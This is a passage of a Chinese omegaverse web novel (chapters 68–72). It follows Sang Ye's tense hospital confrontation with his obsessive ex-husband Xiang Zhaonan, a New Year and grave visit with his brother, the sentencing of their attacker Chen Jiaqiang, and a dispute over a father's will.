“保卫上来了,还不走么。” 他对林晓燕和林俊说,语气冷淡,仿佛心中毫无波澜。 林俊本来就是拿他当个借口,哪能想到自己的计划居然这么不巧被人听见,一时心虚得不行,脸涨得通红,再不要脸也只是对着自己家里人,赶紧拉着林晓燕,把不肯走的林晓燕拽出了病房。 “诶你——” “赶紧走吧,下次再说。” 房门大开,保卫处的三个人刚好和林晓燕姐弟二人擦肩而过,一头雾水,“要赶的人呢?” “刚走出去。”桑也回头,指了指。 保卫转身出去了,不知道是去追林晓燕二人,还是返回自己的岗位。 无人说话。 桑也把房门关上。 才面向相召南。 相召南坐在轮椅上,不停地滚动喉结,眼神有些躲闪,那种黏糊糊跟狗一样的眼神不再死死粘着桑也。 喧闹过后安静了两分钟的病房,再次响起声音。 “果然,你在报复我,对吗?” “相召南。” 既不怨恨,也不气忿。 反而平静得吓人。 第69章 相召南不敢直视桑也。 尽管之前李由指出他对桑守安的揣测无凭无据, 但也只是让他稍有些心疑。 从林俊口中听到真相,相召南彻底明白自己究竟做了什么样的傻事。 他为了一个自以为是的揣度,对桑家兄弟抱有恶意整整三年。 每当桑也在他眼前晃, 露出小心翼翼的神情, 每当他心中软肉被触动, 将要破冰时。 都会有一个声音在告诉他, 他们千万般算计,让你迫于压力成为了解药的奴隶, 你怎么能屈从? 可他如何能想到…… 如何能想到! 他的揣测全是错的! 驰骋商场、看清一切的相氏总裁, 在家事上,马失前蹄, 做出了错得离谱的推断! 从此步步踏错。 亲手把二人的关系推至冰点。 相召南喉咙紧得发痒。 他根本说不出话来, 平生第一次露出了怯懦。 他是怎么错到这一步的? 从他转到金融行业,便坚持了十来年的观念, 所有人都是理性人, 都自私,都趋利避害,都工于判断和算计, 所有的眼泪都是演技流露,让他在这一行足够冷漠无情, 足够理智。 无论是苦诉衷肠讲自己为项目付出了多少汗水的融资者, 还是泪流满面让相氏再给他们一次机会的评估失败者, 都见识过相召南的原则, 只要达不到相氏的经济利益预期, 绝不会随意投资。 这样的原则帮他平步青云,相氏市值扩张了十数倍。 也让他的心膨胀了。 膨胀到把自私的假设投放到身边所有人身上。 于是得出结论,桑也在骗他, 桑守安在算计他。 然而这一次,他错了。 他引以为傲的原则,失效了。 他对着林肯说出“诸事算计,自然不明白真心为何物”,又何尝不是对自己说? 那时,鼓动的心跳便让他明白,他或许错了。 可他那时尚未知晓,他竟然错得如此离谱!如此可笑!如此伤透人心! 让他连承认错误的勇气都没有了。 “相召南……”桑也鼻头酸涩,他从未想到和自己同床异梦三年的Alpha竟然对他抱有那样的误会,“你为什么不抬头看我。” 原来不仅要为死去的青春少年报复桑也,还要为举报自己舅舅害得自己不得不和一个不相爱的人缔结婚姻而报复桑家人。 难怪,那次在林家别墅,相召南莫名其妙质问他不愧疚吗,说他大哥做了龌龊的事。 彼时的桑也只以为他说的是用结婚和捞人做交换这件事,现在想来,指的竟然是大哥为了让他们结婚而举报林俊自导自演这回事。 可那都是假的! 都是莫须有的! 他为相召南一个无端而荒谬的猜测,一个离奇、不可思议的揣度,忍受了三年的冷暴力。 为什么让他这样倒霉? 为什么天公不作美? 要这样愚弄他。 是因为他从小得到太多的爱,要满足缺爱人不平衡的心理,对他做出的惩罚吗? 桑也声音低哑,哽塞:“相召南,我姥姥为了让我别哭,死在了那个夜晚,大哥被你一招釜底抽薪,送进了监狱,整整三年,桑氏地产拱手让人。” “你的报复结束了吗?可以到此为止了吗?” 相召南心脏钝痛。 他也不想的……不要恨他…… 相召南眼眶发了红,好像受尽委屈的人是他一样。 “别生气,桑也……”相召南恨不得跪下来跟桑也道歉,把自己的心挖出来让桑也看明白,他真的爱他,也真的走错了路。 可他不敢说抱歉。 桑也的应激症,让他连承认错误的勇气都没有。 他只能无助地扫视房间,想办法去平复桑也的心情。 床头柜有一袋红苹果,是陈晦说他房间太冷清,自费帮他买的。 说的是房间太冷清,其实言下之意是觉得相召南无人问津,太可怜。 相召南都懂,他不在意那些无用的社交。 但也庆幸,因此得了一袋可以作为话题的苹果,让他不至于一句话也说不出。 “桑也,吃苹果吗?我给你削。” 没等桑也回复,他便自己推着轮椅到床头,拿起一个又大又圆的红苹果,慢慢地用小刀削着皮。 桑也顿时感到可笑,相召南还是一如既往地一意孤行。 他已经胆小到直面问题都不敢了吗。 “相召南,逃避有用吗。” 相召南右手上的刀肉眼可见地抖动了一下,十几厘米长的苹果皮瞬间断裂,而刀口滑过他的手,流动的血续上,成为新的下坠的苹果皮条。 然而他铁定了心不再谈论上一个话题,也不顾自己的手上的伤口,自顾自地开启了新话题。 “你怎么来了?新桑最近不是有个项目有了新进展……” “来看你死没死。”桑也没好气道。 相召南手上的动作顿了一下,又继续,“我死了你会感到开心吗?” “当然。” “你说谎……”相召南通体颤着,像是指出真相,又像是催眠自己。“吃、苹果吗?” 他推着轮椅,把轮椅染上了血渍,到桑也面前停下,递出了一个脏兮兮的苹果。 桑也没有动。 只是站着,垂眸看着那个被血液染红的苹果,心中五味杂陈。 却听见相召南又开口了。 他说:“怎么不穿自己的衣服,这衣服太大了,不衬你……” 桑也偏不如他意,甚至拉了拉领口,把大衣裹得更紧了。 “沈惟岸不怕冷,我怕,顺手就披上了,有问题吗。” 相召南不说话了。 半晌,才听见他小声呢喃:“没关系,只是同事而已。” 以前和其他人稍有接触,他可不是这样的态度。 令人作呕。 桑也:“你怎么就确定我们没有别的关系?沈惟岸绅士礼貌,风度翩翩,和他相处我感到很舒适自在,而且他还是个Beta……” “别说了,别说了,求你了桑也,别说了——”相召南身上战栗的幅度变得更大了,手上用力,险些把苹果捏碎成两半。 桑也说不清看见他这副模样,自己心里是什么样的感受。 他既不感到痛快,也不感到舒畅,既没有心事纾解的称心,也没有大仇得报的酣畅。 “苹果脏了,你自己留着吃吧。”他丢下一句,便拉开门,扬长而去。 宽阔的大衣被步步生风的速度扬起衣摆。 相召南微微一愣,低头看着苹果,只见上面的果肉已经被他手掌的血蹭得深红,触目惊心。 他慌乱地用手去擦,“不脏的,桑也,不脏的。” 一连擦了十几下,却被苹果越来越丑陋的面目惊动,才恍然明白过来,他已是泥潭,再怎么弥补也无济于事。 相召南深深闭了闭眼,胸腔内疾驰的飓风将贫瘠的草地连根拔起,乱飞的草,尖叫的野兽,涌动的低云,齐齐惊惧嘶嚎着要冲破他的胸骨。 轰的一声,相召南睁开眼。 他把苹果丢在地上,双手波动轮椅的方向轮,凝结全身为数不多的力量,追赶了出去。 桑也走得并不算快,至少和他刚转身出门的速度比起来,不算快。 因此,相召南能够清楚看见他仍在一楼楼道里。 值得一提的是,桑也走错了方向。 或许被他气到神志不清,连哪个方向是出门,哪个方向是上楼都弄错了。 相召南猜得没错,桑也的确是被气得昏了头,进去时向右走,以为出来就该向左走,结果反而弄错了方向。 一路走到楼道末尾的楼梯口,看着只上不下的楼梯,桑也突然意识到自己走错了方向。 他捂了捂额头,掉头。 谁料一转身就看见相召南卷着方向轮朝他而来,轮椅很沉重,即使是相召南,在受伤的情况下也很难做到轻而易举。 桑也心中被揪了一下,逃也似地往楼梯上走了两步,才转身面向相召南。 这时相召南刚好停在了楼梯口,他望着层层蔓延而上的阶梯,无能为力。 “桑也……”他深情的呼唤恍惚间让桑也以为自己听见了风声。 “别走,别走……好不好?” 桑也侧了下头,不忍去看相召南此时的神情。 当年他卑微祈求相召南给他一点信息素的时候,也是这样一副可怜、可悲又可笑的模样吗。 “相召南,追出来做什么。” 然而相召南只重复地喃喃:“别走……” 桑也下颌不自觉用力,他仿佛能听见自己牙关因用力而错位的咔嚓声。 “相召南,你有听过我的需求吗,你有把我的话放在心上吗,有把我的想法当真吗。” “为什么不听我的话。” 他一味执着地追求,让桑也所有诉求都显得淡如云烟,无关紧要。 像是水龙头开了闸,汩汩水流争先恐后地涌出来,桑也抹了一下发酸的眼眶,字字珠玑:“你自顾自的挽留,像一出独角戏,演得深情,演得动情,而作为唯一的观众,我被压得喘不过气来,你知道吗?” “我知道,我知道,我都知道。”相召南无力地伸出手,想要替桑也拂去那一滴悬在眼眶的泪。 桑也的脸明明近在眼前,却又如此遥远,远到相召南觉得他这回触碰不到,以后就再也没有机会了。 轮椅上不去楼梯,相召南便用双手支起身体,随后迅速把手压在楼梯的扶手上,拖着还未开始复健、承受不了一个Alpha体重的双腿,艰难地站在了楼梯上。 腿部的痛感不亚于那天车祸时的剧痛,反复的撕裂,扯碎,又拼贴起来。 相召南整个人摇摇欲坠,却仍是从扶手上抽出一只手,想要触碰桑也的泛红的眼尾。 “可是桑也,要我放手,跟我要的命有什么区别?” 他的手被桑也偏头躲了过去,僵僵地悬在半空中,“你杀了我吧,你杀了我,死在你手中,我也得偿所愿。” 相召南祈祷,语气虔诚,目光诚挚,像跪坐在佛祖面前诉说着最原始的渴求。 桑也躲过他的触碰,自己狠狠擦了一下眼角,咬牙道:“你不觉得这样对你有些太轻松了吗。” 相召南心脏钝痛,他知道桑也就是这样,嘴硬心软,总能说出一些残忍的话。 但他相信,桑也不会这样无情。 他再次伸出了手。 这一次,桑也再也忍不住,一巴掌扇在相召南脸上,只见本就不稳的相召南砰的一声撞在了楼梯扶手上,随后失力地砸在地上,双膝跪在桑也脚下的阶梯,立马就有鲜血溢出。 “别用那样恶心的眼神看着我!” “我不会原谅你的。”桑也笃定道。 是告诉相召南,也是告诉自己。 绝不可以。 然而相召南全然没有在乎自己二度创伤的双腿,只抬眸,用甩不开的鬣狗一样的眼神望着他,道: “可是桑也——” 他挪动着血液渗出染红了病号服的腿,一下又一下,砸在阶梯上,砸出声声闷响,不断向上膝行,逼得桑也连连往上面退。 浑身气势如同从血狱中出来,双手终于握住了桑也的脚踝。 “我看见了你的眼泪。” 第70章 是斩钉截铁的肯定, 也是卑微至极的祈求—— 你心里还有我,爱我吧,爱我吧…… 爱的人容易说假话。 越是推开, 越是渴求爱。 相召南再清楚不过。 我们重归于好, 好吗? 桑也浑身一颤, 仿佛被戳穿了脆弱的外衣, 不可避免地向扶手倾倒,好在反应快, 撑在扶手上, 才避免了摔倒。 相召南还在向前。 即使每阶都留下了他膝盖的血印。 像困守在炼狱中,好不容易厮杀出一条道路, 拖着残缺的身体, 忍着浑身骨裂的疼痛,也要去往新世界。 不放过任何一个机会。 桑也倾倒又站直身体的短暂两秒, 便让相召南钻了空子。 他的双手如同浑身滴着粘腻液体的寒蛇, 从纤细的脚踝一路往上,爬过没什么肉的小腿,滑过稍稍丰腴一些的大腿, 攀入曲线优美的腹部,最后向两边捉住桑也的手腕。 桑也用力抽, 没抽得出来。 只见相召南竟然拉着桑也的手, 放在自己的脖颈上。 他仰起头, 露出脖颈, 喉结上下滚动, 带动颈部的线条流动。 桑也的手落在那里。 自然而然地圈住了它。 仿佛有什么魔力,让桑也做出了下意识的举动。 “恨我的话,那就杀了我吧, 桑也……”相召南凝视着上位者,声音在空旷的楼道里盘旋。 像是被下了指令,桑也不自觉收紧了手。 变得青紫的脸,艰难的呼吸,深情的眼神…… 如此熟悉的一幕。 他瞬间清醒过来,猛地一推,直接把相召南从十来级高的阶梯推了下去。 相召南整个人如同滚石,在桑也眼前坠落。 胸口剧烈起伏。 桑也攥住胸口的衣服布料,喘不过气来。 “相召南,你要让我成为杀人凶手吗。” 相召南坠到平地上,浑身的疼痛让他已经无法再站起来,只能借着扶手和轮椅,勉强让自己上半身坐起来。 他说:“你想的话,我乐意成为你的手下亡魂。” 等他死了,就能时时刻刻黏在夺取他性命的人身上,从海风府,到新桑,每时每刻。 看他如何平和地对待别人,移花接木当成对象是自己,看他如何意气风发挥斥方遒,欣赏他每一个成功的瞬间。 到了晚上,他再从桑也身上下来,躺在桑也身边,或者压在桑也身上,让他整个人都充斥着自己的气息,和他融为一体…… 相召南坐在地上,双腿歪曲地无力摆着,刺痛了桑也的双目。 他侧过头,“医院有监控。” “陈晦会处理的。” 相召南似乎真的做好了准备。 桑也却不再想和他接着谈论这个话题。 刚才。 相召南跪在他面前,膝盖渗血,脖颈裸露时…… 他似乎感受到了一股无端的安全感。那种头狼主动把自己的枷锁主动放在主人手中被他驯服,俯首称臣的安全感。 简直难以置信。 可就是这么荒诞的转瞬即逝的一种感觉,让他的恐惧,真的减淡了两分。 让身体里的胆小鬼壮大了两分。 这并不符合桑也的预期。 他快步走下楼梯,一个多余的眼神也没给相召南。 “桑也!” 相召南突然大喊,桑也的名字回荡在楼道里,“还会给我发新年快乐吗?” 身后的喊声悠悠地飘来,绕着耳廓钻进桑也的耳中。 桑也步伐没有停顿,只是轻飘飘地回问:“以前我掐着点给你发新年快乐的时候,你在意过吗。” 相召南没在意过。 他不会发。 答案是一样的。 桑也的身影越来越小,越来越远,最终消失在相召南眼中。 相召南没能站起来,他只是呢喃:“新年快乐,桑也。” “这次换我祝福你。” 桑也走到楼道口时,护士刚好回来。 护士帮着保卫处登记了那两个来捣乱的人的信息,才姗姗来迟。 到病人的房间,没见到人,心中一阵担忧,万一出事罚的可是她的钱,赶紧出门寻找,好不容易才在楼道末尾找到人。 病人坐在地上,膝盖渗出来的血在地上滴出了一个小水坑,轮椅就在他身边,但显然他根本没办法靠自己坐回轮椅上。 护士急忙问:“这这这这是怎么了?” “不用管。” 护士一愣,但很快又感到庆喜,他不投诉,那就不用扣工资了。她感到浑身有劲,一个人搀着病人坐到轮椅上,把人推回病房。 因为伤到骨头,她没办法,只好叫了个医生来。 大约半个小时后,才彻底处理好。 临走前,护士问:“真不用管?” “嗯。” 离开医院后,桑也在车内坐了十几分钟,等心情彻底平复下来,才启动车。 一路上,花花绿绿的彩灯营造出新年热闹的氛围,稀少的人烟又让人感到冷清。 S市不下雪,水也不结冰,但市政厅采购了一批冰锥灯挂在树上,流动的蓝色灯光从车两侧不断后移。 桑也到家时,海风府正在放烟花。 老大极其兴奋,完全不受管束,扒在门上,恨不得冲出去到烟花脚底下。 阿姨都回了家,海风府现在只有桑家兄弟和老大这三个能喘气的。 本来凌星前段时间又跟家里人大吵了一架,跟桑也说要跟他们一块过年的,但临到年终,又改口说他不来了。 桑也倒也没问他是回家还是在哪,只问凌星有没有地去,凌星说有,他就没再多问。 桑守安比他先回家,十一点收到桑也说实验结束的消息,才开始准备饭菜。 因为吃饭的只有两个人,便只准备了些海鲜,处理了几道热菜的食材。 十二点过,桑守安问桑也还有多久,桑也那时刚好在车上,回了个语音条说马上,桑守安便把食材下锅。 桑也到家时,一切都刚刚好。 下车前,他先在后视镜前看了看自己的脸,确保双眼没有红肿,才下了车。 把老大强行拖拽进屋,桑也把窗户打开,让老大在屋内也能看见烟花,之后自己上桌吃饭。 桑也不太爱剥壳,便只拿了只小臂长的帝王蟹腿敲开吃肉。肉质鲜嫩,超出他的预期。 “哥,你都在里面学了些什么,连海鲜都会做了。” 桑守安不知为何突然笑了一下,神秘莫测道:“种草莓呢,里面有个草莓基地。” “那你什么时候学会的做这个。”桑也抬了抬手上的蟹腿,至少在大哥进去之前,他从没吃过大哥做的海鲜。 桑守安没明说,“自学成才,还可以吧?” “可以,很可以。” 正聊着,趴在窗口的老大突然吠叫了两声,桑也回头看去,发现是烟花换了新的花样。 桑守安说这烟花放了快两个小时了。 桑也不介意,有点年味也好。只是奇怪为什么老大对烟花这么兴奋,按理说宠物不应该很怕这种砰砰叫的东西吗? 桑守安解释:“可能是早些时候姥姥带着它,养得胆子比较大。” 说到姥姥,桑守安又说:“明天有安排吗?没安排的话,回春城扫墓。” 桑也点头。 第二天早上八点,桑也被闹钟吵醒。 他身上怨气深重,站在洗漱台前,仿佛浑身透着恶气。 昨天大哥说到烟花的时候,他心想放烟花也好,他都好几年没见过这么多烟花了,结果那烟花竟然一直放到凌晨三点! 海风府物业这么富裕? 他用力绞着毛巾,似乎要把一身怨气发泄在上面。 等他洗漱完,便下楼。 阿姨不在家,早饭只能自己解决。 刚好家里有些藕粉,他便冲泡了两杯,自己吃了一杯之后,没见大哥下楼,又上楼去叫他。 这时他还以为大哥跟他一样深受烟花折磨,一宿没睡着才没起得来。 结果等他上楼,从大哥半掩的房门往进去,竟然看见大哥挡在一个人面前,突然吻了上去! 桑也被吓了一跳,但显然他惊吓得太早了。 因为下一刻,桑也就看见被大哥强吻的那个人,一巴掌甩在大哥脸上,发出清脆的响声。 硬生生把大哥的脸都扇歪了。 刚好和桑也对视上。 目睹一切的桑也抿唇,咽口水。 扇耳光的人见桑守安目不转睛地看着门外,也顺着他的视线看过来,发现门外的桑也,微微皱了皱眉,把自己手上的文件拍在桑守安胸口。 “既然是重要文件,就自己好好随身携带着,别又落下了,知道吗?” 那人声音掷地有声,到最后三个字仿佛带着警告的意味。 浑身散发着一股审讯犯人的气质。 桑也略一思索,又偏头从门缝里窥伺了一下那人的长相。 楚方明? 那个出现在大哥写的信件当中让桑也误以为是嫂子结果大哥出狱后又没见着二人有什么联系的狱警楚方明? 难怪桑也见了刚才那个场景,总觉得他手上该有点东西。 警棍。 桑也自觉地钻回房间,待了十几分钟,才听见桑守安来敲门。 他下楼,“桌上有杯藕粉,你看见了吗?” “嗯,我让他吃了。” 桑也愣了一下,愣完又笑了。 “那你吃点什么?” 桑守安随手从一楼的冰箱拿了瓶牛奶出来,对着桑也摇了摇,“这个。” 上车的时候,老大很兴奋。 他好像知道自己要回家了。 桑守安开车,桑也在后座和老大挨着坐。主要是怕老大不老实在车上跳来跳去,闹出事来。 结果老大上车没多久就萎靡不振,晕车了。 老大一晕,本来没这么快晕车的桑也也跟着犯恶心了。 他靠在椅背上,跟大哥有一搭没一搭地聊着,最后还是没忍住,聊到了楚方明身上。 “你们是怎么回事?我当初回国,以为你俩会在一起,结果你还是一个人。” “怎么闹掰了?” 桑守安握住方向盘的手收紧了一下,深深叹了口气,似乎在感慨还是让桑也发现了,才回答他:“出狱前,他问我需不需要帮助,我一时口快,说不用,都准备好了,就暴露了。” “暴露?”桑也不解,“暴露什么?暴露你本来可以早早出狱却在里面待满了三年?”他打趣,自以为这没什么让人生气的。 结果桑守安竟然点头。 还真是因为这个事。 “啊?” “他觉得我是为了他伤害自己,不能接受。我跟他说是因为你跟相召南要分居三年才能拿到离婚证,他又不信。”桑守安无奈地笑着。 桑也心中沉沉的,好像有什么东西加重了他灵魂的重量,但仍是不太明白。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 到半途, 进入春城范围内,天上突然飘起了雨丝。 小雨淅淅,勾起了桑也的后遗症。 他捏了捏自己的小腿, 被桑守安看见, 放慢了车速, 问他要不要明天再去。 桑也看了下天气预报, 下不了多久,就摇头说不是很痛。 车辆停在三座坟墓前。 车门刚打开, 老大便恢复了活力, 嗷嗷叫起来。 一呼百应,四五条和它长得几乎一模一样的黄狗从四面八方跑来, 几条狗绕着圈圈跑到隔壁山头玩去了。 桑也指了指了老大, “这才是没良心的,也不来看看姥姥。” 刚拆开扫墓要用的东西, 李叔走了过来。 “刚才家里几条狗突然变得很激动, 闹着要我开门放它们出来,我就猜是你们回来了。” 桑守安回了句:“新年快乐,叔。” 桑也则问:“李叔, 这段时间,他还来过么?” 桑守安眯了眯眼, 他?相召南? “上次你来过之后, 就没见着那人来了。”李叔回答, 说完有点疑惑, “不过倒是有另一个人到这儿晃了两三次, 看着年纪不大,身量也不大,像个Omega。” “Omega?”桑守安问桑也, “凌星?是他吗?” 桑也猜测应该不是,他忙着呢。 但还是拿出手机,无视被系统屏蔽的骚扰信息,发了条消息问凌星,那边回了条语音,是个陌生Alpha的声音,说凌星暂时回不了消息。 语音中伴随着一些诡异的声响,害得桑也手忙脚乱赶紧把手机音量调低,说:“应该不是他。” 闻言,桑守安再度思忖了片刻。 不是凌星,更不可能是楚方明,他身量可不小。 “可能是过路人好奇多看了几眼吧。”想不到怀疑目标,桑守安也只能这样做出论断。 点了鞭炮后,桑家兄弟本想坐在地上和家里人谈天说地,可惜地面被刚才飘的雨染得湿润润的,摸一下一手泥,只能算了。 “下次吧,下次再来跟爸妈好好聊聊。”桑守安摸了摸桑也的头,安慰他。 本来下雨,桑也身体就不舒服。 “我记得香瓜地里有些麦冬,能治胃病,再过两个月差不多可以采了。” “清明再回来吧。” 桑也有些依依不舍,但还是点头,冲着隔壁山头喊了一声老大,没一会就看见一群黄狗窸窸窣窣地从半人高的草里钻出来。 桑守安眯了眯眼,没认出哪个是老大,问桑也。 桑也:“最胖那只。” 老大立马不满意地嗷嗷叫起来,蹭着桑守安的腿,似乎在强烈要求桑守安恢复它每天吃罐罐的权利。 被桑也揪着大耳朵拎上了车。 三月初的时候,桑家迎来了另一个好消息。 陈家强故意杀人案件开庭。 律师说,他们这边证据齐全,民意所向,加上对面还有损害国家经济利益的罪名在身,他们只用去走个过场,听听陈家强要受哪些处罚,活泛活泛心情。 因为案发时冲上了热搜,大多数民众对这件事情都比较在意。 开庭时,来了不少记者。 桑守安陪同桑也入座,没一会,相召南杵着拐杖进来。 说来也奇怪,明明桑守安看见相召南在进入正厅前,都是坐的轮椅,不知为何进了场却杵着拐杖站了起来。 看得出来他走路十分吃力,几乎整个人都压在两根拐杖上了,尽管维持了体态,但还是不可避免显现出困难。 入座前停在桑也面前,似乎想要说什么,嗫嚅了几下,最后全都咽了回去,沉默地坐下。 桑守安冷笑一声,对桑也说:“练杂技的进来了。” 桑也闻言,看向相召南,见他脸色瞬间憋得泛青,也忍俊不禁。 只能低下头去。 等他再抬头,是听见场内一阵唏嘘声。 陈家强被人搀扶着,走了进来。 首先让人注意的是他腹部的伤,过去两个多月,仍旧包着纱布,看起来很难痊愈;紧接着目光就会被他扭曲的面部表情吸引过去。 陈家强表情扭曲,面部肌肉时而抽搐,时而僵硬,不控制地淌着口水。 他似乎还有意识想要抬手去抹嘴角的口水,但被人搀扶着双臂,抽不出手来,只能任由口水挂在嘴角,形成斑驳痕迹。 桑守安饶有兴致地翘起二郎腿,“看来有人比我下手还狠。” 他出声时,桑也的目光自然转向身边的大哥,但话音落地,桑也并没有移目到桑守安言下之意的那个人。 只是直视前方,目不斜视,浑身气质松弛娴静。 “自作自受而已。” 相召南作为陈家强故意伤人事件的最大受害人,下点狠手,也正常。 没看见相召南隐含期待的长眸失望地垂下。 举证和辩论过程,陈家强方的律师都没有过多争辩。 毕竟恶行累累,证据确凿,唯一能稍微使点劲的方向,开精神失常证明,又被受害一方堵死了。 别说当时陈家强没有精神疾病,就算是现在的陈家强真的有精神疾病了,他们也拿不到一份能作为证据的证明。 法官宣判结果,陈家强有期徒刑五年,赔偿和道歉。 五年的时间很短。 但陈家强不止一个罪名在身,也还算“未来可期”。 “赔偿收下了,道歉不必。”桑守安起身,抚平西服衣摆,“我可不想看见有人对着我弟流口水。” 陈家强控制不住面部肌肉,但似乎意识还算清醒,听见桑守安的话,试图用恶狠狠的眼神瞪他,可惜两只眼睛一只朝上,一只朝右,滑稽得很。 桑也低头浅笑,也起身准备离开。 然而他刚站起来,旁听的记者立马围了上来,纷纷举着摄像机,让桑也看他们的摄像头。 “桑先生,你和相先生同乘一车是已经复合了吗?” “桑先生,新桑科技接受相氏集团的投资,难道不怕重蹈覆辙吗?” “陈家强和你们过去有什么恩怨吗?他为什么要蹲守在停车场故意伤人?能具体讲讲吗?” “监控显示当时陈家强出手时相先生就在不远处,所以才能帮你挡下陈家强的伤害。能跟我们说一下当时你们为什么都在停车库吗?是有什么事情要见面吗?” 记者的话很密,现场嘈杂不已,桑也听来,就像几十只青蛙在他耳边呱呱叫,但是一只也听不清。 他站着,什么也没说,似乎只想从前面出去。 记者没有得到想要的回答,又开始推搡,话筒都快杵到桑也脸上来,被桑守安挥开,用眼神警告过后,才稍稍收敛。 桑也:“投资是两家公司的公事,与私事无关。和陈家强的确有旧怨,陈张地产负责人早年便和我父母在商业上有交锋。” “他们手段肮脏,一如既往,这一点无论是十年前,三年前,还是现在,都没有改变。”桑也无意过多地揭露伤疤,只是概括地总结了事件。 他深知示弱虽会引起同情,但并不纯粹,夹杂其中的更多复杂感情,同样让他畏惧。 当他说完,眼神从记者人群中收回时,一个熟悉的人像让他瞳孔骤然紧缩。 目光死死锁在那人身上。 齐橘。 当时被他下药,桑也清醒后让人找过他麻烦,大哥的助理回来说的是他在学校的评优、保研资格都被取消,档案上记了过,也写了保证书和道歉书。 但桑也始终是太心软。 看在他也是Omega的份上,看在他也是自己迷恋者的份上,看在他最后并没有得逞的份上,特意叮嘱人只要让他认错就行,别动手。 没想到齐橘竟然还敢出现在他面前。 而且—— 还在用和相召南一样恶心的眼神凝视着自己。 桑也暗忖,自己总是为他人想百般理由,却不见他人为自己着想半分。 下贱的劣根性真是吃了千万苦楚都难以完全剥去。 思索之时,齐橘对上他的目光,跟阴沟里的老鼠突然被一束光照射到四处逃窜一样慌不择路挤出记者人群,跑了。 他一跑,就被桑守安和相召南注意到了。 但当务之急是从面前这群挡路的记者围堵下顺利离开。 就这么巧,桑守安的助理和相召南的助理一齐挤了进来,把桑家兄弟挡在身后,让他们得以从侧面逃出去。 等人走了,桑守安的助理才收回扒在记者身上的手,拍拍衣袖,慢条斯理地跟上。 而陈晦,则转身去接他自己的老板。 “刚才那个跑开的人,齐橘,再去查查。”相召南心中不安,总觉得那人居心不净。 同为追求者,相召南对他的心思不可谓不了解,只看他能做出什么事情来。 陈晦记下,先把轮椅推来,让相召南坐上轮椅,把人推去停车场,坐车回了医院,才着手去调查。 相召南还在复健,暂时离不开医院。 如果不是要出庭,他基本不会出医院。 坐轮椅、杵拐杖的丑态,在桑也面前,不堪种种。 年后不久,李由作为他的心理医生,在病人没办法远赴另一家医院时,亲自过来问诊。 当时他说:“追求一个人,靠的不是死皮赖脸,是魅力。但你现在……” 就这么短短的两句话,一针见血,把相召南钉在医院两个月,让桑也清闲了两个月。 绵软恶心的蜗牛藏在壳里,才能躲过被当成鼻涕虫弹走的宿命。 相召南也一样。 他只有躲在医院,融进来来往往的病号,才能避免在健全人中突兀地杵着拐杖,狼狈的模样无处遁形,直直暴露在桑也面前。 无风无浪的日子,压抑而平静。 却在清明的雨天,被一个不速之客和一通意料之外的电话打破。 如同山坡上的石子滚落,砸穿薄冰,荡开微漪。 第72章 清明总是下雨。 天一片阴沉, 浓云密布,细细绵绵的雨丝如同织线,轻巧地落下, 挂在油亮的香樟树叶上, 宛如油画的高光, 令整个灰蒙蒙的世界有一丝光亮。 但仍旧透着密不透风的朦胧与哀婉。 似乎只有这样才能勾起人们对逝者的想念。 复健房间内。 Alpha上身穿着一件贴身的黑色高领羊绒打底衫, 因用力而充血的胸肌顶着紧身的羊毛衫,双臂肌肉线条紧致流畅。 双腿只简单套了一条略宽松的黑色裤子, 房门处的扶手上挂着一件夹克外套, 似乎是复健出了汗而搁置在一旁的。 事实如此。 Alpha的额角挂着汗珠,鬓发被打湿, 贴在肌肤上, 呼吸沉重用力,手臂肌肉似乎已经到了承受的极限。 “相先生, 今天的复健就到这里吧, 任务量已经超额了。”指导复健的护士犟不过患者,只能给他加额练习。 旁人一小时,他就要两小时。 其中疼痛折磨令护士都不忍直视, 但患者竟靠着毅力和忍耐力坚持了快一个月。 然而复健这种东西,适量最好。一味追求过多的练习量, 只会给本就受伤的双腿增加负担, 适得其反。 “有人找。”复健室有人敲门, 护士以为是找他, 却见敲门的人指了指相召南。 相召南拧眉, 最后坐回了轮椅,临走前拿上自己的外套。 病房内,相渡南堂而皇之坐在床上。 似乎只要是相召南的, 无论是Omega,还是公司,甚至是病床,都要被他染指。 相召南是个自尊心极强的人,即使坐着轮椅,也不要别人来推,一直都是自己动手。 刚复健完,就自己摇着方向论回到病房,大汗涔涔。 相渡南得瑟一笑,似乎对相召南现在这样不堪落魄的模样感到愉悦。 “大哥真是福大命大,又是被捅腺体,又是车库搏斗,还出了车祸这么大的事情,还有命活。” 相召南对相渡南说话的语气早已了如指掌,表面感慨庆幸,实际上怕是在惋惜那车没把他撞死。 “嗯,你说得对。”相召南淡淡道,把夹克放在桌上,从衣柜取出一条干净毛巾擦拭热汗。 相渡南见他丝毫没有被自己挑起愤怒之类的情绪,牙都咬碎了。 接着戳他的心:“嫂子下手不轻吧。” 相召南抬头深深看了他一眼,又收回目光,只顾着用毛巾擦着额角、脖颈和后颈。 相渡南受不了他这一副不为所动的样子,显得自己小题大做,愤愤地站了起来。 “之前你设计让我出差,害了爸爸的性命,拿着一份靠威胁得到的遗嘱把公司骗走,还强行要安排我到非洲去,害得我感染疟疾。” 相渡南神情愤懑,随后又流露出得意,嘴角上扬。 “不过你也想不到你看不上的房子里,放着爸爸先前立下的遗嘱吧?” 相渡南高高昂着头,俯视相召南。 “那遗嘱上,明明白白地写着。” 相渡南指了指自己,“他本人持有的相氏股份——全部归我,而你,只有几套不动产,和一个ceo的职务。” 他得意洋洋,胸有成竹。 相召南把擦完汗的毛巾往桌上一扔,稍作休息后没那么燥热,便把夹克拿来穿上。 慢条斯理,似乎毫不把相渡南的话放在心上。 相渡南原本的高傲在这样静默的氛围中消散了些,他拿不准相召南这一副淡定自若的模样究竟是故作镇定、虚张声势还是坦然承认现实不愿辩驳。 一想到相召南平时就拿这样无视的态度对自己,到了现在,还这样,相渡南就怒不可遏! 他猛地踹了相召南的轮椅一脚,硬生生让轮椅转了四十五度。 相召南稳住身形,长眸斜睨,一记冷冽的眼刀,让相渡南咽了咽口水。 “都到这个时候了你到底在装什么?!”相渡南气得又踹了一脚床尾。 相召南才慢悠悠开口:“看来一场疟疾,真是把你脑子烧坏了。” 相召南感染疟疾后,虽然及时得到救治,还是伤到了大脑,回国四个多月,大半时间都在医院。 好不容易痊愈了,立马就跑过来耀武扬威,拿着一个没弄清楚状况的遗嘱当虎符。 刚才相渡南提到桑也,相召南还心里揪了一下,却见他下一秒就急转直下,谈起了公司。 相召南:“我以为你在乎的是桑也,没想到你只看得见公司。” 相渡南不可思议地笑了,仿佛听见了什么笑话。 “和公司比起来,一个Omega算得了什么?” 